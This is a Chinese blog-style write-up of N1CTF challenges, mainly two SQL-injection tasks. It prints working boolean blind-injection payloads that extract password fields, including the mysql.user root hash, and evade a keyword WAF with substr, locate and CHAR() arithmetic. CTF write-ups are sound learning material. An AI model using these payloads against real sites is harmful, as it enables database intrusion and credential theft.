周末围观神仙们打架,自己也做了几题,也是有所收获的,在这里记录一下。
http://n1ctf.xctf.org.cn/
0x00 checkin
这是一道签到题
加入IRC频道拿到base64,encode即可拿到flag
这里我在linux下使用lrssi客户端进行连接
0x01 77777
根据题目给出的信息,猜测flag就是在users表中的password字段内容。这里也给了sql的逻辑代码,其中的$points参数经过waf函数过滤。
经过一番苦战,得到以下payload,可以通过布尔注入,以points的0或1回显,拿到password字段的内容。
flag=2222&hi= and mid((select * from (SELECT password from users group by 1)a),1,1)>'0'
这里可能会有一个坑,在update操作中使用select同样一张表,会出错,需要使用子查询来避免
相关博客如下:
http://blog.csdn.net/yhl_jxy/article/details/50856619
最后结果是:he3l3locat233
另外有大佬给出了另外一个payload,拿到的是mysql.user表里root的密码字段,同样也能过。
flag=10&hi=1111 and (if ((ord((select mid(password,1,1) from mysql.user where user like 0x726f6f74))>103),1,0))
结果是:helloctfer2333
0x02 77777 2
题目的页面和77777没有什么差别,只是提示中flag变成了pw字段。
但是如果同样的payload去打,会发现这道题的waf已经变得更强大了,基本的and、or、&&、||、mid、=等等一大堆都被过滤了。
所以得想办法绕过waf,进行布尔注入拿points的0和1回显。
肝了很久之后发现substr、select、locate、instr等几个关键词没有被过滤。
尝试组合payload
flag=&hi=+((select if(((select substr(user(),1,1))>'a'),1,0)))
上面的测试payload是可行的,但是当substr中更改1为大于1的数字后,仍然会被过滤,这也是个绕过点。
通过上面的payload引申出如下payload,也是同样在数字的过滤问题上:
flag=&hi=+((select if(((select substr((select * from (SELECT pw from users group by 1)a),1,1))>'h'),1,0)))
最后,为了绕过大于1的数字的过滤点,得到最终如下payload:
flag=&hi=+((select if(((select substr((select * from (SELECT pw from users group by 1)a),1+1,1))>CHAR(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)),1,0)))
另外,由于locate也没被过滤,可以拿到字符在字符串中的位置,同样可以得到下面的payload:
flag=&hi=+(selectlocate(CHAR(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1),(select * from (SELECT pw from users group by 1)a)))
最终得到flag
hahah777a7aha77777aaaa
这里再放一下另外一个大佬的payload,感觉更清晰明了。
flag=a&hi=+if(( select substr( pw ,(8+6-1-1),1) from mysql.user group by pw )>'g' ,1,0)
0x03 easyphp
这题没有做出来,直接卡在了登陆页面
登陆验证是MD5的截断验证,这里只能分享一个快速得到对应明文的python小工具